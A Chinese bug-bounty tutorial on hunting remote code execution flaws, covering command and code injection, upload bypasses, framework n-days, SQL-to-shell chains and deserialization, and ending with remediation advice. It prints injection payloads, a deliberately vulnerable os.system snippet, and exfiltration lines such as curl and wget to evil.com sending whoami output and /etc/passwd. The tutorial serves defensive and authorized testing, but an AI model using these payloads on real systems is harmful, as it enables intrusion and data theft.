【SRC】基础思路篇19:RCE远程代码执行漏洞挖掘完全指南
文章目录
- 引言
- 一、RCE漏洞概述
- 1. RCE漏洞类型
- 2. RCE漏洞危害
- 二、命令注入漏洞挖掘
- 1. 命令注入原理
- 2. 命令注入点识别
- 3. 命令注入测试方法
- 4. 无回显数据外带
- 5. 外网不通的应对
- 三、代码注入漏洞挖掘
- 1. 代码注入原理
- 2. 异常输入测试
- 3. 代码封装格式测试
- 4. 延时测试验证
- 四、文件上传导致RCE
- 1. 文件上传RCE思路
- 2. 上传绕过技巧
- 3. UEditor编辑器案例
- 五、框架漏洞与NDay利用
- 1. 框架识别与历史漏洞
- 2. JS文件分析发现隐藏接口
- 3. 报错信息利用
- 4. 已知漏洞利用技巧
- 六、SQL注入到RCE
- 1. DBA权限利用
- 2. 组合攻击链
- 七、反序列化漏洞
- 1. 反序列化原理
- 2. 测试思路
- 八、其他RCE场景
- 1. 读取功能中的命令注入
- 2. 客户端RCE
- 3. 登录口JNDI注入
- 4. 未授权Redis利用
- 九、实战测试流程
- 标准测试流程
- 测试注意事项
- 十、漏洞危害评估
- 1. 危害等级评定
- 2. 影响危害等级的因素
- 十一、修复建议
- 1. 输入校验
- 2. 避免危险函数
- 3. 反序列化防护
- 4. 框架与组件更新
- 5. 权限控制
- 6. 监控与告警
- 十二、实战心得
- 1. 报错信息是宝藏
- 2. JS文件是宝藏
- 3. 思路可以迁移
- 4. 组合漏洞威力大
- 5. 历史漏洞优先
- 6. 框架识别很重要
- 7. 无回显也有办法
- 8. 内存马更隐蔽
- 9. Windows与Linux差异
- 10. 合规性优先
- 十三、总结
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
引言
RCE(Remote Code Execution,远程代码执行)是SRC漏洞挖掘中的"皇冠上的明珠",是危害等级最高的漏洞类型之一。RCE漏洞允许攻击者在目标服务器上执行任意代码,直接获取服务器控制权限。在SRC平台中,RCE漏洞通常被评定为"严重"等级,赏金丰厚。然而RCE漏洞的挖掘难度也最高,需要测试人员具备深厚的技术功底、敏锐的漏洞嗅觉和灵活的组合思维。本文将系统性地介绍RCE漏洞的挖掘思路、测试方法与实战技巧。
一、RCE漏洞概述
1. RCE漏洞类型
RCE漏洞根据成因可分为以下几类:
| 类型 | 成因 | 典型场景 |
|---|---|---|
| 命令注入 | 用户输入拼接到系统命令 | os.system、exec调用 |
| 代码注入 | 用户输入被动态执行 | eval、反射调用 |
| 反序列化 | 反序列化数据触发代码执行 | Java、PHP、Python反序列化 |
| 文件上传 | 上传可执行文件 | WebShell上传 |
| 框架漏洞 | 已知框架漏洞利用 | Log4j、Fastjson、Shiro |
| 模板注入 | 模板引擎执行代码 | SSTI |
| JNDI注入 | JNDI引用加载恶意类 | Log4j、Fastjson |
2. RCE漏洞危害
- 完全控制服务器:执行任意命令,获取系统权限
- 数据完全泄露:读取数据库、配置文件、源代码
- 内网渗透入口:作为跳板进入内网横向移动
- 持久化后门:写入WebShell、内存马维持访问
- 业务瘫痪:篡改、删除业务数据
二、命令注入漏洞挖掘
1. 命令注入原理
命令注入是指用户输入被直接拼接到系统命令中执行,未做任何过滤或转义。
典型漏洞代码:
defdoLogout(request):hData=request.GET spath=r'/tmpfile/loginfile/'+str(hData['token'])delfile="rm -rf %s"%(spath)os.system(delfile)# 直接拼接系统命令,无任何过滤!returnHttpResponse(0)2. 命令注入点识别
高危函数清单:
| 语言 | 高危函数 |
|---|---|
| Python | os.system、os.popen、subprocess.call、eval、exec |
| PHP | system、exec、shell_exec、passthru、eval、assert |
| Java | Runtime.exec、ProcessBuilder、ScriptEngine.eval |
| Node.js | child_process.exec、eval、Function |
3. 命令注入测试方法
a. 管道符注入测试
测试拼接管道符表达两个命令的承接关系:
token=1|whoami token=1&whoami token=1;whoami token=1||whoami token=1&&whoami注意:实战中要将&URL编码为%26,防止被解析成参数分隔符。
b. 变量包裹测试
当管道符被过滤时,可使用变量包裹方式:
token=1$(whoami) token=111$(whoami) token=`whoami`c. 延时测试确认
无回显时,通过延时确认命令执行:
token=1&sleep 10 token=1$(sleep 10)观察响应时间,若稳定延时10秒,确认命令执行。
4. 无回显数据外带
当目标无法直接回显命令执行结果时,可采用以下外带方法:
a. DNSLog外带
ping`whoami`.dnslog.cncurlhttp://dnslog.cn/?data=$(whoami)b. HTTP外带
curlhttp://evil.com/?data=$(whoami)wgethttp://evil.com/?data=$(cat/etc/passwd)c. 时间盲注思路外带
借鉴SQL盲注思路,通过二分法逐字符爆破:
- 如果第一位ASCII码大于某值则延时10秒
- 否则立即返回
- 通过二分法缩小范围,逐字符还原数据
token=1&if [ $(whoami | cut -c1) \> 'a' ]; then sleep 10; fi5. 外网不通的应对
当目标服务器无法访问外网时:
- 时间盲注:通过延时逐字符提取数据
- 写文件读取:将命令执行结果写入Web目录,通过HTTP读取
- 报错回显:构造错误让命令执行结果出现在错误信息中
三、代码注入漏洞挖掘
1. 代码注入原理
代码注入是指用户输入被动态解析执行,通常发生在使用eval、动态脚本引擎等场景。
2. 异常输入测试
测试思路:通过非常规字符输入,观察报错信息,寻找eval、script等关键字。
测试步骤:
- 向参数输入特殊字符(如
[、{、() - 观察返回包中的错误提示
- 关注错误信息中的
eval、script、Expression等关键字 - 若
[报错但[]闭合后正常返回,暗示存在动态脚本解析
3. 代码封装格式测试
针对不同后端语言,使用对应的代码封装格式:
Java代码注入:
[(function(){java.lang.Thread.sleep(5000);return+"1";})()]Python代码注入:
__import__('os').system('whoami')PHP代码注入:
system('whoami');4. 延时测试验证
无回显时,使用语言对应的延时语句验证代码执行:
- Java:
Thread.sleep(5000) - Python:
time.sleep(5) - PHP:
sleep(5)
四、文件上传导致RCE
1. 文件上传RCE思路
文件上传是导致RCE的常见路径,通过上传WebShell获取服务器权限。
测试思路:
- 尝试请求体的每个文件名参数
- 如果服务通过rename修改文件名为随机名称,则可能存在注入
- 通过ping dnslog的方式验证文件名是否被命令执行
- 关注文件内容是否被解析执行
2. 上传绕过技巧
后缀绕过:
- 黑名单绕过:
.php5、.phtml、.phps、.cer、.asa - 白名单绕过:
.jpg?.cer、.php.jpg、.php%00.jpg - 解析漏洞:IIS、Nginx、Apache解析特性
内容绕过:
- 图片马:
GIF89a+ WebShell内容 - 文件头伪造:修改文件Magic Number
3. UEditor编辑器案例
漏洞场景:UEditor编辑器的catchimage接口存在远程抓取图片功能。
漏洞思路:
- 接口仅校验远程资源后缀前缀,未截断URL伪后缀
- 使用
xxx.jpg?.cer这种问号截断伪后缀绕过白名单 - IIS解析特性:
.cer文件会被ASP.NET引擎解析执行脚本代码 - 最终写入可执行WebShell
五、框架漏洞与NDay利用
1. 框架识别与历史漏洞
测试思路:
- 识别目标使用的框架和组件
- 搜索框架的已知历史漏洞
- 验证漏洞是否可利用
- 通过已知漏洞实现RCE
常见框架漏洞:
| 框架 | 漏洞类型 | 危害 |
|---|---|---|
| Log4j | JNDI注入 | RCE |
| Fastjson | 反序列化 | RCE |
| Shiro | 反序列化 | RCE |
| Spring | SpEL注入 | RCE |
| JeecBoot | jmreport组件 | RCE |
| Django | 调试模式 | 信息泄露 |
| ThinkPHP | 代码执行 | RCE |
2. JS文件分析发现隐藏接口
测试思路:
- 当登录框等常规入口无突破点时,分析前端JS文件
- 翻JS文件寻找隐藏的后端接口地址
- 拼接路径,发现未公开的接口
- 识别框架后,查找历史漏洞
实战案例思路:
- 登录框无突破点 → JS文件分析 → 发现后端接口 → 路径拼接 → 发现jmreport组件 → 识别JeecBoot框架 → 利用历史RCE漏洞 → 注入内存马
3. 报错信息利用
测试思路:
- 构造错误路径触发框架报错
- 从报错信息中提取接口列表、数据库配置、源代码片段
- 审计泄露的源代码,寻找命令注入点
- 利用os.system、eval等危险函数实现RCE
Django调试模式利用:
- DEBUG=True时泄露大量敏感信息
- 可获取1000+接口列表
- 可获取数据库用户名、端口等信息
- 可获取部分源代码片段
- 通过代码审计发现命令注入漏洞
4. 已知漏洞利用技巧
a. 命令长度限制绕过
当RCE漏洞存在命令长度限制时:
- 使用bat文件分步执行
- 通过certutil下载WebShell到本地
- 再执行下载的WebShell
b. Windows环境利用
| 命令 | 用途 |
|---|---|
echo xxx > file | 写入文件 |
certutil.exe -urlcache -split -f url | 下载文件 |
move file path | 移动文件 |
dir | 查看目录 |
注意:Windows路径使用反斜杠\,不是正斜杠/。
c. 内存马技术
- BCEL ClassLoader注入内存马,不易被发现
- 先save注入payload,再show触发
- 内存马比文件WebShell更隐蔽
六、SQL注入到RCE
1. DBA权限利用
当SQL注入点具有DBA权限时,可通过数据库函数执行系统命令。
SQL Server(MSSQL):
xp_cmdshell扩展存储过程执行系统命令- 需要SA权限
- 注意:可能违规,需谨慎
MySQL:
select 'xxx' into outfile 'xxx\shell.xx'写入WebShell- 需要FILE权限
- 注意:可能违规,需谨慎
PostgreSQL:
COPY ... TO PROGRAM执行系统命令
2. 组合攻击链
典型攻击链:
SQL注入 → 获取管理员账号密码 → 后台登录 → 文件上传 → GetShell实战思路:
- 通过谷歌Hacking发现未授权访问的页面
- 测试参数注入点,确认SQL注入
- 使用sqlmap等工具获取数据库权限
- 提取管理员邮箱和密码
- 弱口令爆破获取后台访问权限
- 寻找文件上传点并绕过限制
- 上传WebShell获取服务器权限
七、反序列化漏洞
1. 反序列化原理
反序列化漏洞是指应用在反序列化用户可控数据时,触发恶意代码执行。
常见反序列化场景:
- Java:ObjectInputStream、Fastjson、Jackson、Gson
- PHP:unserialize
- Python:pickle
- .NET:BinaryFormatter
2. 测试思路
a. 识别反序列化点
- 关注Cookie、Session中的序列化数据
- 关注API接口的序列化数据传输
- 识别序列化数据格式(Java、PHP、Python等)
b. 构造利用链
- 使用ysoserial(Java)、phpggc(PHP)等工具生成Payload
- 根据目标环境选择合适的利用链
- 通过DNSLog、延时等方式验证漏洞
c. 常见漏洞组件
- Apache Commons Collections
- Fastjson
- Jackson
- Shiro RememberMe
- Log4j JNDI
八、其他RCE场景
1. 读取功能中的命令注入
场景:返回内容是JSON格式,可能是后端调用接口读取文件。
测试思路:
- 当后端通过命令读取文件时,可尝试命令注入
- 通过dnslog注入验证命令执行
2. 客户端RCE
场景:客户端应用读取本地文件时未做安全处理。
测试思路:
- 构造恶意txt文件
- 文件内容包含恶意代码
- 客户端读取时触发代码执行
示例Payload:
<imgsrc="1"onerror="eval(require('child_process').exec('calc.exe'))">3. 登录口JNDI注入
场景:登录功能中存在JNDI注入点。
测试思路:
- 测试登录参数是否触发JNDI lookup
- 构造恶意JNDI服务加载恶意类
- 实现RCE
4. 未授权Redis利用
场景:Redis未授权访问。
测试思路:
- 检测Redis是否未授权访问
- 通过Redis写入SSH公钥、WebShell
- 通过Redis主从复制RCE
九、实战测试流程
标准测试流程
1. 信息收集:识别技术栈、框架、组件 ↓ 2. 接口发现:分析JS文件、扫描目录 ↓ 3. 历史漏洞搜索:查找框架已知漏洞 ↓ 4. 报错信息分析:触发报错获取信息 ↓ 5. 命令注入测试:管道符、变量包裹 ↓ 6. 代码注入测试:异常输入、延时验证 ↓ 7. 反序列化测试:识别序列化点 ↓ 8. 组合攻击:SQL注入+文件上传等 ↓ 9. 获取权限:WebShell、内存马测试注意事项
- 遵守授权范围:RCE测试风险高,必须在授权范围内进行
- 不破坏系统:不执行破坏性命令,不删除、篡改数据
- 最小化操作:仅验证漏洞存在,不过度利用
- 及时清理:测试完成后清理WebShell、后门等
- 详细记录:完整记录测试过程,便于报告编写
十、漏洞危害评估
1. 危害等级评定
| 危害场景 | 等级 | 说明 |
|---|---|---|
| 直接RCE获取服务器权限 | 严重 | 完全控制服务器 |
| 需组合多个漏洞的RCE | 严重 | 攻击链复杂但危害严重 |
| 仅限内网环境的RCE | 高危 | 内网横向移动 |
| 需特定条件的RCE | 中高危 | 视利用难度 |
2. 影响危害等级的因素
- 利用难度:无需认证直接RCE危害最高
- 权限范围:root/admin权限危害最高
- 影响范围:影响整个集群/云平台危害最高
- 数据敏感性:涉及核心业务数据危害最高
十一、修复建议
1. 输入校验
- 对所有用户输入进行严格校验
- 使用白名单机制限制输入字符
- 禁止用户输入包含命令分隔符、特殊字符
2. 避免危险函数
- 禁用
os.system、eval、exec等危险函数 - 使用参数化命令执行(如subprocess的列表参数)
- 不直接拼接用户输入到系统命令
3. 反序列化防护
- 不反序列化用户可控数据
- 使用白名单机制限制反序列化类
- 升级反序列化组件到安全版本
4. 框架与组件更新
- 及时更新框架和组件
- 关注安全公告,修复已知漏洞
- 移除不必要的功能和组件
5. 权限控制
- Web服务运行在低权限用户下
- 数据库账户使用最小权限
- 禁用危险扩展存储过程
6. 监控与告警
- 监控异常命令执行
- 监控异常文件上传
- 监控异常网络连接
十二、实战心得
1. 报错信息是宝藏
错误信息往往比正常返回更有价值。Django调试模式、Java堆栈信息、PHP错误提示都可能暴露接口列表、源代码、技术栈等关键信息。
2. JS文件是宝藏
后端接口地址、隐藏路径、API端点都可能隐藏在JS文件中。当常规测试无突破时,分析JS文件往往有意外收获。
3. 思路可以迁移
SQL盲注的思路可以迁移到命令注入上。时间盲注、二分法逐字符爆破等技巧在命令注入无回显时同样适用。
4. 组合漏洞威力大
单个漏洞可能无法直接利用,但通过组合(SQL注入 + 弱口令 + 文件上传,或信息泄露 + 框架漏洞 + 内存马)可实现完整攻击链。
5. 历史漏洞优先
发现目标使用已知框架后,优先搜索历史漏洞。已知漏洞利用难度低、成功率高,是RCE挖掘的高效路径。
6. 框架识别很重要
识别目标使用的框架、组件、版本后,可针对性测试已知漏洞,大幅提高RCE挖掘效率。
7. 无回显也有办法
即使命令执行无回显,也可通过DNSLog、HTTP外带、时间盲注等方式获取执行结果。不要因为没有回显就放弃。
8. 内存马更隐蔽
相比文件WebShell,内存马不留文件痕迹,不易被检测。但需注意内存马在服务重启后会失效。
9. Windows与Linux差异
测试时注意操作系统差异:Windows使用反斜杠路径、certutil下载;Linux使用正斜杠路径、curl/wget下载。
10. 合规性优先
RCE测试风险最高,必须严格遵守授权范围。不执行破坏性命令,不获取超出证明漏洞所需的权限和数据。
十三、总结
RCE漏洞是SRC漏洞挖掘的"终极目标",也是技术难度最高的漏洞类型。在SRC实战中:
- 信息收集要深:技术栈、框架、组件、接口、源代码都是RCE挖掘的线索
- 测试思路要广:命令注入、代码注入、反序列化、文件上传、框架漏洞多管齐下
- 组合利用要强:单个漏洞组合可形成完整攻击链
- 外带方法要多:DNSLog、HTTP外带、时间盲注等多种方式应对无回显场景
- 合规意识要强:严格遵守授权范围,不破坏目标系统
通过本文介绍的方法和思路,相信读者能建立起完整的RCE漏洞挖掘思维体系,在SRC实战中发现更多高质量的严重漏洞。
